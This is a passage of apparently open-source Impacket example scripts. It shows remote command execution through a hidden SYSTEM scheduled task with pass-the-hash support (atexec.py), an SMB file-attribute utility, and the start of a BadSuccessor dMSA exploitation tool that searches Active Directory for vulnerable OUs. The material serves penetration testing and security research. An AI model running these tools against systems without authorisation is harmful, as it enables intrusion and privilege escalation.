<DaysInterval>1</DaysInterval>\n      </ScheduleByDay>\n    </CalendarTrigger>\n  </Triggers>\n  <Principals>\n    <Principal id=\"LocalSystem\">\n      <UserId>S-1-5-18</UserId>\n      <RunLevel>HighestAvailable</RunLevel>\n    </Principal>\n  </Principals>\n  <Settings>\n    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\n    <AllowHardTerminate>true</AllowHardTerminate>\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\n    <IdleSettings>\n      <StopOnIdleEnd>true</StopOnIdleEnd>\n      <RestartOnIdle>false</RestartOnIdle>\n    </IdleSettings>\n    <AllowStartOnDemand>true</AllowStartOnDemand>\n    <Enabled>true</Enabled>\n    <Hidden>true</Hidden>\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\n    <WakeToRun>false</WakeToRun>\n    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>\n    <Priority>7</Priority>\n  </Settings>\n  <Actions Context=\"LocalSystem\">\n    <Exec>\n      <Command>%s</Command>\n      <Arguments>%s</Arguments>\n    </Exec>\n  </Actions>\n</Task>\n        \"\"\" % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]), \n            (xml_escape(args) if self.__silentCommand is False else \" \".join(self.__command.split()[1:])))\n        taskCreated = False\n        try:\n            logging.info('Creating task \\\\%s' % tmpName)\n            tsch.hSchRpcRegisterTask(dce, '\\\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)\n            taskCreated = True\n\n            logging.info('Running task \\\\%s' % tmpName)\n            done = False\n\n            if self.sessionId is None:\n                tsch.hSchRpcRun(dce, '\\\\%s' % tmpName)\n            else:\n                try:\n                    tsch.hSchRpcRun(dce, '\\\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId)\n                except Exception as e:\n                    if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 :\n                        logging.info('The specified session doesn\\'t exist!')\n                        done = True\n                    else:\n                        raise\n\n            while not done:\n                logging.debug('Calling SchRpcGetLastRunInfo for \\\\%s' % tmpName)\n                resp = tsch.hSchRpcGetLastRunInfo(dce, '\\\\%s' % tmpName)\n                if resp['pLastRuntime']['wYear'] != 0:\n                    done = True\n                else:\n                    time.sleep(2)\n\n            logging.info('Deleting task \\\\%s' % tmpName)\n            tsch.hSchRpcDelete(dce, '\\\\%s' % tmpName)\n            taskCreated = False\n        except tsch.DCERPCSessionError as e:\n            logging.error(e)\n            e.get_packet().dump()\n        finally:\n            if taskCreated is True:\n                tsch.hSchRpcDelete(dce, '\\\\%s' % tmpName)\n\n        if self.sessionId is not None:\n            dce.disconnect()\n            return\n\n        if self.__silentCommand:\n            dce.disconnect()\n            return\n\n        smbConnection = rpctransport.get_smb_connection()\n        waitOnce = True\n        while True:\n            try:\n                logging.info('Attempting to read ADMIN$\\\\Temp\\\\%s' % tmpFileName)\n                smbConnection.getFile('ADMIN$', 'Temp\\\\%s' % tmpFileName, output_callback)\n                break\n            except Exception as e:\n                if str(e).find('SHARING') > 0:\n                    time.sleep(3)\n                elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:\n                    if waitOnce is True:\n                        # We're giving it the chance to flush the file before giving up\n                        time.sleep(3)\n                        waitOnce = False\n                    else:\n                        raise\n                else:\n                    raise\n        logging.debug('Deleting file ADMIN$\\\\Temp\\\\%s' % tmpFileName)\n        smbConnection.deleteFile('ADMIN$', 'Temp\\\\%s' % tmpFileName)\n\n        dce.disconnect()\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('command', action='store', nargs='*', default=' ', help='command to execute at the target ')\n    parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)')\n    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')\n    parser.add_argument('-silentcommand', action='store_true', default = False, help='does not execute cmd.exe to run '\n                                                                                     'given command (no output)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\\'s output (default '\n                                                       '\"%s\"). If errors are detected, run chcp.com at the target, '\n                                                       'map the result with '\n                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '\n                          'again with -codec and the corresponding codec ' % CODEC)\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. '\n                                         'If omitted it will use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.codec is not None:\n        CODEC = options.codec\n    else:\n        if CODEC is None:\n            CODEC = 'utf-8'\n\n    logging.warning(\"This will work ONLY on Windows >= Vista\")\n\n    if ''.join(options.command) == ' ':\n        logging.error('You need to specify a command to execute!')\n        sys.exit(1)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if options.keytab is not None:\n        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,\n                           ' '.join(options.command), options.session_id, options.silentcommand)\n    atsvc_exec.play(address)\n"
  },
  {
    "path": "examples/attrib.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script allows the user to query and modify file / directory attributes - utilizing pure SMB.\n#\n# Author:\n#   Raz Kissos (@covertivy)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import annotations\nimport sys\nimport argparse\nimport logging\nimport ntpath\nfrom dataclasses import dataclass\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket import smbconnection\nfrom impacket.nmb import SMB_SESSION_PORT\nfrom impacket.smb import (\n    SMB_DIALECT, \n    FILE_READ_ATTRIBUTES,\n    FILE_WRITE_ATTRIBUTES,\n    FILE_SHARE_READ,\n    FILE_SHARE_WRITE,\n    FILE_SHARE_DELETE,\n    SMB_QUERY_FILE_BASIC_INFO,\n    SMB_SET_FILE_BASIC_INFO,\n    SMBQueryFileBasicInfo,\n    SMBSetFileBasicInfo,\n)\nfrom impacket.smb3structs import (\n    SMB2_FILE_BASIC_INFO,\n    FILE_BASIC_INFORMATION,\n)\n\n\nATTRIB_QUERY_ACTION = 'query'\nATTRIB_SET_ACTION = 'set'\nVALID_ATTRIB_ACTIONS = (ATTRIB_QUERY_ACTION, ATTRIB_SET_ACTION)\n\n# All Knwon File Attributes according to [MS-FSCC] 2.6 File Attributes.\nFILE_ATTRIBUTE_READONLY                 = 0x00000001\nFILE_ATTRIBUTE_HIDDEN                   = 0x00000002\nFILE_ATTRIBUTE_SYSTEM                   = 0x00000004\nFILE_ATTRIBUTE_VOLUME                   = 0x00000008\nFILE_ATTRIBUTE_DIRECTORY                = 0x00000010\nFILE_ATTRIBUTE_ARCHIVE                  = 0x00000020\nFILE_ATTRIBUTE_NORMAL                   = 0x00000080\nFILE_ATTRIBUTE_TEMPORARY                = 0x00000100\nFILE_ATTRIBUTE_SPARSE_FILE              = 0x00000200\nFILE_ATTRIBUTE_REPARSE_POINT            = 0x00000400\nFILE_ATTRIBUTE_COMPRESSED               = 0x00000800\nFILE_ATTRIBUTE_OFFLINE                  = 0x00001000\nFILE_ATTRIBUTE_NOT_CONTENT_INDEXED      = 0x00002000\nFILE_ATTRIBUTE_ENCRYPTED                = 0x00004000\nFILE_ATTRIBUTE_NO_SCRUB_DATA            = 0x00020000\nFILE_ATTRIBUTE_RECALL_ON_OPEN           = 0x00040000\nFILE_ATTRIBUTE_PINNED                   = 0x00080000\nFILE_ATTRIBUTE_UNPINNED                 = 0x00100000\nFILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS    = 0x00400000\n\n\n@dataclass\nclass FileAttributes:\n    readonly: bool = False\n    hidden: bool = False\n    system: bool = False\n    volume: bool = False\n    directory: bool = False\n    archive: bool = False\n    normal: bool = False\n    temporary: bool = False\n    sparse_file: bool = False\n    reparse_point: bool = False\n    compressed: bool = False\n    offline: bool = False\n    not_content_indexed: bool = False\n    encrypted: bool = False\n    no_scrub_data: bool = False\n    recall_on_open: bool = False\n    pinned: bool = False\n    unpinned: bool = False\n    recall_on_data_access: bool = False\n    \n    def pack(self) -> int:\n        return \\\n        (FILE_ATTRIBUTE_READONLY                if self.readonly                else 0) | \\\n        (FILE_ATTRIBUTE_HIDDEN                  if self.hidden                  else 0) | \\\n        (FILE_ATTRIBUTE_SYSTEM                  if self.system                  else 0) | \\\n        (FILE_ATTRIBUTE_VOLUME                  if self.volume                  else 0) | \\\n        (FILE_ATTRIBUTE_DIRECTORY               if self.directory               else 0) | \\\n        (FILE_ATTRIBUTE_ARCHIVE                 if self.archive                 else 0) | \\\n        (FILE_ATTRIBUTE_NORMAL                  if self.normal                  else 0) | \\\n        (FILE_ATTRIBUTE_TEMPORARY               if self.temporary               else 0) | \\\n        (FILE_ATTRIBUTE_SPARSE_FILE             if self.sparse_file             else 0) | \\\n        (FILE_ATTRIBUTE_REPARSE_POINT           if self.reparse_point           else 0) | \\\n        (FILE_ATTRIBUTE_COMPRESSED              if self.compressed              else 0) | \\\n        (FILE_ATTRIBUTE_OFFLINE                 if self.offline                 else 0) | \\\n        (FILE_ATTRIBUTE_NOT_CONTENT_INDEXED     if self.not_content_indexed     else 0) | \\\n        (FILE_ATTRIBUTE_ENCRYPTED               if self.encrypted               else 0) | \\\n        (FILE_ATTRIBUTE_NO_SCRUB_DATA           if self.no_scrub_data           else 0) | \\\n        (FILE_ATTRIBUTE_RECALL_ON_OPEN          if self.recall_on_open          else 0) | \\\n        (FILE_ATTRIBUTE_PINNED                  if self.pinned                  else 0) | \\\n        (FILE_ATTRIBUTE_UNPINNED                if self.unpinned                else 0) | \\\n        (FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS   if self.recall_on_data_access   else 0)\n    \n    @classmethod\n    def unpack(cls, data: int) -> FileAttributes:\n        return cls(\n            readonly              = bool(data & FILE_ATTRIBUTE_READONLY),\n            hidden                = bool(data & FILE_ATTRIBUTE_HIDDEN),\n            system                = bool(data & FILE_ATTRIBUTE_SYSTEM),\n            volume                = bool(data & FILE_ATTRIBUTE_VOLUME),\n            directory             = bool(data & FILE_ATTRIBUTE_DIRECTORY),\n            archive               = bool(data & FILE_ATTRIBUTE_ARCHIVE),\n            normal                = bool(data & FILE_ATTRIBUTE_NORMAL),\n            temporary             = bool(data & FILE_ATTRIBUTE_TEMPORARY),\n            sparse_file           = bool(data & FILE_ATTRIBUTE_SPARSE_FILE),\n            reparse_point         = bool(data & FILE_ATTRIBUTE_REPARSE_POINT),\n            compressed            = bool(data & FILE_ATTRIBUTE_COMPRESSED),\n            offline               = bool(data & FILE_ATTRIBUTE_OFFLINE),\n            not_content_indexed   = bool(data & FILE_ATTRIBUTE_NOT_CONTENT_INDEXED),\n            encrypted             = bool(data & FILE_ATTRIBUTE_ENCRYPTED),\n            no_scrub_data         = bool(data & FILE_ATTRIBUTE_NO_SCRUB_DATA),\n            recall_on_open        = bool(data & FILE_ATTRIBUTE_RECALL_ON_OPEN),\n            pinned                = bool(data & FILE_ATTRIBUTE_PINNED),\n            unpinned              = bool(data & FILE_ATTRIBUTE_UNPINNED),\n            recall_on_data_access = bool(data & FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS),\n        )\n\n    @staticmethod\n    def repr_attribs(data: int) -> str:\n        return FileAttributes.unpack(data).__repr__()\n    \n    def __repr__(self) -> str:\n        return \\\n            ('R' if self.readonly    else '-') + \\\n            ('H' if self.hidden      else '-') + \\\n            ('S' if self.system      else '-') + \\\n            ('V' if self.volume      else '-') + \\\n            ('D' if self.directory   else '-') + \\\n            ('A' if self.archive     else '-') + \\\n            ('N' if self.normal      else '-') + \\\n            ('T' if self.temporary   else '-') + \\\n            ('C' if self.compressed  else '-') + \\\n            ('O' if self.offline     else '-') + \\\n            ('E' if self.encrypted   else '-') + \\\n            ('P' if self.pinned      else '-') + \\\n            ('U' if self.unpinned    else '-')\n        \n\ndef attrib_query(connection: smbconnection.SMBConnection, tid: int, fid: int) -> FileAttributes:\n    if connection.getDialect() == SMB_DIALECT:\n        basicinfo = SMBQueryFileBasicInfo(connection.queryInfo(tid, fid, SMB_QUERY_FILE_BASIC_INFO))\n        attributes = basicinfo['ExtFileAttributes']\n    else:\n        basicinfo = FILE_BASIC_INFORMATION(connection.queryInfo(tid, fid, SMB2_FILE_BASIC_INFO))\n        attributes = basicinfo['FileAttributes']\n    \n    logging.debug(f\"Got file / directory {attributes = }\")\n    return FileAttributes.unpack(attributes)\n\ndef attrib_set(connection: smbconnection.SMBConnection, tid: int, fid: int, attribs: FileAttributes) -> None:\n    if connection.getDialect() == SMB_DIALECT:\n        info_data = SMBSetFileBasicInfo()\n        info_data['CreationTime'] = 0\n        info_data['LastAccessTime'] = 0\n        info_data['LastWriteTime'] = 0\n        info_data['ChangeTime'] = 0\n        info_data['ExtFileAttributes'] = attribs.pack()\n        fileInfoClass = SMB_SET_FILE_BASIC_INFO\n    else:\n        info_data = FILE_BASIC_INFORMATION()\n        info_data['CreationTime'] = 0\n        info_data['LastAccessTime'] = 0\n        info_data['LastWriteTime'] = 0\n        info_data['ChangeTime'] = 0\n        info_data['FileAttributes'] = attribs.pack()\n        fileInfoClass = SMB2_FILE_BASIC_INFO\n    \n    logging.debug(f\"Setting file / directory attributes = {attribs.pack()}\")\n    \n    connection.setInfo(tid, fid, fileInfoClass, info_data)\n\n\ndef main():\n    # Init the example's logger theme\n    logger.init()\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help = True, description = \"File Attribute Modification Utility implementation.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument(\"share\", type=str, help=\"The share in which the desired file to query or modify resides.\")\n    parser.add_argument(\"path\", type=str, help=\"The path of the desired file whose attributes we wish to query or modify.\")\n    \n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='Don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-p', '--port', default=SMB_SESSION_PORT, type=int, metavar=\"destination port\", help='Destination port to connect to the SMB Server.')\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-t', '--timeout', default=60, type=int, metavar=\"seconds\", help='Set connection timeout (seconds).')\n\n    subcommands = parser.add_subparsers(dest=\"action\")\n    \n    query_parser = subcommands.add_parser(ATTRIB_QUERY_ACTION, help=\"Query current file / directory attributes.\")\n    \n    set_parser = subcommands.add_parser(ATTRIB_SET_ACTION, help=\"Modify file / directory attributes.\")    \n    set_parser.add_argument('-r', '--readonly', dest='readonly', action='store_true', help=\"A file or directory that is read-only. For a file, applications can read the file but cannot write to it or delete it. For a directory, applications cannot delete it, but applications can create and delete files from that directory.\")\n    set_parser.add_argument('-H', '--hidden', dest='hidden', action='store_true', help=\"A file or directory that is hidden. Files and directories marked with this attribute do not appear in an ordinary directory listing.\")\n    set_parser.add_argument('-s', '--system', dest='system', action='store_true', help=\"A file or directory that the operating system uses a part of or uses exclusively.\")\n    set_parser.add_argument('-a', '--archive', dest='archive', action='store_true', help=\"A file or directory that requires to be archived. Applications use this attribute to mark files for backup or removal.\")\n    set_parser.add_argument('-n', '--normal', dest='normal', action='store_true', help=\"A file that does not have other attributes set. This flag is used to clear all other flags by specifying it with no other flags set.\")\n    set_parser.add_argument('-t', '--temporary', dest='temporary', action='store_true', help=\"A file that is being used for temporary storage. The operating system can choose to store this file's data in memory rather than on mass storage, writing the data to mass storage only if data remains in the file when the file is closed.\")\n    set_parser.add_argument('-c', '--compressed', dest='compressed', action='store_true', help=\"A file or directory that is compressed. For a file, all of the data in the file is compressed. For a directory, compression is the default for newly created files and subdirectories.\")\n    set_parser.add_argument('-o', '--offline', dest='offline', action='store_true', help=\"The data in this file is not available immediately. This attribute indicates that the file data is physically moved to offline storage. This attribute is used by Remote Storage, which is hierarchical storage management software.\")\n    set_parser.add_argument('-e', '--encrypted', dest='encrypted', action='store_true', help=\"A file or directory that is encrypted. For a file, all data streams in the file are encrypted. For a directory, encryption is the default for newly created files and subdirectories.\")\n    set_parser.add_argument('-p', '--pinned', dest='pinned', action='store_true', help=\"This attribute indicates user intent that the file or directory should be kept fully present locally even when not being actively accessed. This attribute is for use with hierarchical storage management software.\")\n    set_parser.add_argument('-u', '--unpinned', dest='unpinned', action='store_true', help=\"This attribute indicates that the file or directory should not be kept fully present locally except when being actively accessed. This attribute is for use with hierarchical storage management software.\")\n    \n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    if options.debug is True:\n        logging.getLogger().setLevel(logging.DEBUG)\n        # Print the Library's installation path\n        logging.debug(version.getInstallationPath())\n    else:\n        logging.getLogger().setLevel(logging.INFO)\n\n    if options.action not in VALID_ATTRIB_ACTIONS:\n        logging.error(\"Invalid action '{action}'\".format(action=options.action))\n    \n    domain, username, password, address = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = address\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n    \n    share = options.share\n    path = ntpath.normpath(options.path)\n\n    try:\n        connection = smbconnection.SMBConnection(address, options.target_ip, sess_port=int(options.port), timeout=int(options.timeout))\n        if options.k is True:\n            connection.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)\n        else:\n            connection.login(username, password, domain, lmhash, nthash)\n\n        tid = connection.connectTree(share)\n        \n        if options.action == 'query':\n            desiredAccess = FILE_READ_ATTRIBUTES\n        elif options.action == 'set':\n            desiredAccess = FILE_WRITE_ATTRIBUTES\n        \n        fid = connection.openFile(\n            tid, \n            path, \n            shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,   # Allow other processes to interact with the file / directory.\n            creationOption=0,                                                   # Open both a file or a directory without limitation.\n            desiredAccess=desiredAccess                                         # Request only the permissions we need.\n        )\n        \n        try:\n            if options.action == 'query':\n                print(attrib_query(connection, tid, fid), share, path)\n            elif options.action == 'set':\n                attribs = FileAttributes(\n                    readonly      = options.readonly,\n                    hidden        = options.hidden,\n                    system        = options.system,\n                    archive       = options.archive,\n                    normal        = options.normal,\n                    temporary     = options.temporary,\n                    compressed    = options.compressed,\n                    offline       = options.offline,\n                    encrypted     = options.encrypted,\n                    pinned        = options.pinned,\n                    unpinned      = options.unpinned,\n                )\n                attrib_set(connection, tid, fid, attribs)\n                print(attribs, share, path)\n        finally:\n            connection.closeFile(tid, fid)\n            connection.disconnectTree(tid)\n            connection.close()\n        \n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "examples/badsuccessor.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script is a tool for dMSA exploitation.\n#   Search function is based on AKAMAI Get-BadSuccessorOUPermissions.ps1 (https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1)\n#   It allows to add/delete Delegated Managed Service Accounts (dMSA) in a specific OU, search for OUs vulnerable to BadSuccessor attack\n# Author:\n#   Ilya Yatsenko (@fulc2um)\n\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nimport logging\nimport random\nimport string\nimport sys\nimport ldap3\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, parse_target, init_ldap_session\nfrom impacket.ldap import ldaptypes\n\n\nclass BADSUCCESSOR:\n    def __init__(self, username, password, domain, lmhash, nthash, cmdLineOptions):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = lmhash\n        self.__nthash = nthash\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        self.__target = cmdLineOptions.dc_host\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__dmsaName = cmdLineOptions.dmsa_name\n        self.__method = cmdLineOptions.method\n        self.__port = cmdLineOptions.port\n        self.__action = cmdLineOptions.action\n        self.__targetIp = cmdLineOptions.dc_ip\n        self.__baseDN = cmdLineOptions.baseDN\n        self.__targetOu = cmdLineOptions.target_ou\n        self.__principalsAllowed = cmdLineOptions.principals_allowed\n        self.__targetAccount = cmdLineOptions.target_account\n        self.__dnsHostName = cmdLineOptions.dns_hostname\n\n        if self.__targetIp is not None:\n            self.__kdcHost = self.__targetIp\n\n        if self.__method not in ['LDAP', 'LDAPS']:\n            raise ValueError(\"Unsupported method %s\" % self.__method)\n\n        if self.__doKerberos and cmdLineOptions.dc_host is None:\n            raise ValueError(\"Kerberos auth requires DNS name of the target DC. Use -dc-host.\")\n\n        if self.__method == 'LDAPS' and not '.' in self.__domain:\n                logging.warning('\\'%s\\' doesn\\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)\n\n        if self.__target is None:\n            if not '.' in self.__domain:\n                logging.warning('No DC host set and \\'%s\\' doesn\\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain)\n            self.__target = self.__domain\n\n        if self.__port is None:\n            if self.__method == 'LDAP':\n                self.__port = 389\n            elif self.__method == 'LDAPS':\n                self.__port = 636\n\n    def run(self):\n        # Create the baseDN if not provided\n        if self.__baseDN is None:\n            domainParts = self.__domain.split('.')\n            self.__baseDN = ''\n            for i in domainParts:\n                self.__baseDN += 'dc=%s,' % i\n            # Remove last ','\n            self.__baseDN = self.__baseDN[:-1]\n\n\n        try:\n            use_ldaps = (self.__method == 'LDAPS')\n            \n            # For Kerberos authentication, ensure proper target resolution\n            if self.__doKerberos:\n                target_host = self.__target if self.__target else self.__domain\n                dc_ip = self.__kdcHost if self.__kdcHost else self.__targetIp\n            else:\n                target_host = self.__target if self.__target else self.__domain\n                dc_ip = self.__targetIp\n            \n            _, ldapConnection = init_ldap_session(\n                domain=self.__domain,\n                username=self.__username,\n                password=self.__password,\n                lmhash=self.__lmhash,\n                nthash=self.__nthash,\n                k=self.__doKerberos,\n                dc_ip=dc_ip,\n                dc_host=target_host,\n                aesKey=self.__aesKey,\n                use_ldaps=use_ldaps\n            )\n            \n        except Exception as e:\n            raise Exception('Could not connect to LDAP server: %s' % str(e))\n\n        # Update target for logging\n        connectTo = dc_ip if dc_ip else target_host\n        logging.info('Connected to %s as %s\\\\%s' % (connectTo, self.__domain, self.__username))\n\n\n        if self.__action == 'add':\n            result = self.add_dmsa(ldapConnection)\n        elif self.__action == 'delete':\n            result = self.delete_dmsa(ldapConnection)\n        elif self.__action == 'modify':\n            result = self.modify_dmsa(ldapConnection)\n        elif self.__action == 'search':\n            result = self.search_ous(ldapConnection)\n        else:\n            logging.error('Unknown action: %s' % self.__action)\n            result = False\n\n        ldapConnection.unbind()\n        return result\n\n    def delete_dmsa(self, ldapConnection):\n        try:\n            if not self.__dmsaName:\n                logging.error('dMSA name is required for deletion. Use -dmsa-name parameter.')\n                return False\n            \n            if not self.__targetOu:\n                logging.error('Target OU is required for dMSA deletion. Use -target-ou parameter.')\n                return False\n            \n            dmsa_dn = 'CN=%s,%s' % (self.__dmsaName, self.__targetOu)\n            if not self.check_account_exists(ldapConnection, dmsa_dn):\n                logging.error('dMSA account does not exist: %s' % dmsa_dn)\n                return False\n            \n            success = ldapConnection.delete(dmsa_dn)\n            \n            logging.info(\"\")\n            logging.info(\"%-30s %s\" % (\"dMSA Deletion Results\", \"\"))\n            logging.info(\"%-30s %s\" % (\"-\" * 30, \"-\" * 30))\n            logging.info(\"%-30s %s\" % (\"dMSA Name:\", '%s$' % self.__dmsaName))\n            logging.info(\"%-30s %s\" % (\"Status:\", \"SUCCESS\" if success else \"FAILED\"))\n            \n            if not success and ldapConnection.result:\n                logging.error(\"%-30s %s\" % (\"Error:\", ldapConnection.result))\n            \n            return success\n                \n        except Exception as e:\n            logging.error('dMSA deletion failed: %s' % str(e))\n            return False\n    \n    def check_account_exists(self, ldapConnection, dn):\n        try:\n            success = ldapConnection.search(\n                search_base=dn,\n                search_filter='(objectClass=*)',\n                search_scope=ldap3.BASE,\n                attributes=['cn']\n            )\n            \n            return success and len(ldapConnection.entries) > 0\n                \n        except Exception as e:\n            logging.debug('Error checking account existence: %s' % str(e))\n            # If we can't determine, assume it doesn't exist to avoid blocking operations\n            return False\n\n    def search_ous(self, ldapConnection):\n        try:\n            logging.info('Searching for OUs vulnerable to BadSuccessor attack...')\n            \n            if not ldapConnection.bound:\n                logging.error('LDAP connection is not bound')\n                return False\n            \n            success = ldapConnection.search(\n                search_base=self.__baseDN,\n                search_filter='(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',\n                search_scope=ldap3.SUBTREE,\n                attributes=['operatingSystem', 'operatingSystemVersion']\n            )\n\n            if not success:\n                logging.error('Failed to search for Domain Controllers: %s' % ldapConnection.result)\n                return False\n\n            prereq_flag = False\n            for entry in ldapConnection.entries:\n                if ('operatingSystem' and 'operatingSystemVersion') not in entry:\n                    logging.error('Could not retrieve operating system information for Domain Controller: %s' % entry.entry_dn)\n                    pass\n                else:\n                    if 'Windows Server 2025' in entry.operatingSystem.value or '26100' in entry.operatingSystemVersion.value:\n                        logging.info('Found Windows Server 2025 Domain Controller: %s' % entry.entry_dn)\n                        prereq_flag = True\n                        break\n            \n            if not prereq_flag:\n                logging.info('No Windows Server 2025 Domain Controllers found. This script requires at least one DC running Windows Server 2025.')\n                logging.info('Resulting list of Identities/OUs will show Identities that have permissions to create objects in OUs.')\n                    \n\n            success = ldapConnection.search(\n                search_base=self.__baseDN,\n                search_filter='(objectClass=organizationalUnit)',\n                search_scope=ldap3.SUBTREE,\n                attributes=['distinguishedName', 'nTSecurityDescriptor'],\n                controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x5)\n            )\n\n            \n            if not success:\n                logging.error('Failed to search for organizational units: %s' % ldapConnection.result)\n                return False\n            \n            # Store the OU entries before they get overwritten by other searches\n            ou_entries = list(ldapConnection.entries)\n            logging.info('Found %d organizational units' % len(ou_entries))\n            \n            # Get domain SID for filtering excluded accounts\n            try:\n                success = ldapConnection.search(\n                    search_base=self.__baseDN,\n                    search_filter='(objectClass=domain)',\n                    search_scope=ldap3.BASE,\n                    attributes=['objectSid']\n                )\n                \n                if success and len(ldapConnection.entries) > 0:\n                    entry = ldapConnection.entries[0]\n                    if 'objectSid' in entry:\n                        domain_sid = entry.objectSid.value\n            except Exception as e:\n                logging.error('Failed to retrieve domain SID: %s' % str(e))\n                return False\n            allowed_identities = {}\n            \n            relevant_rights = {\n                \"CreateChild\": 0x00000001,\n                \"GenericAll\": 0x10000000,\n                \"WriteDACL\": 0x00040000,\n                \"WriteOwner\": 0x00080000\n            }\n  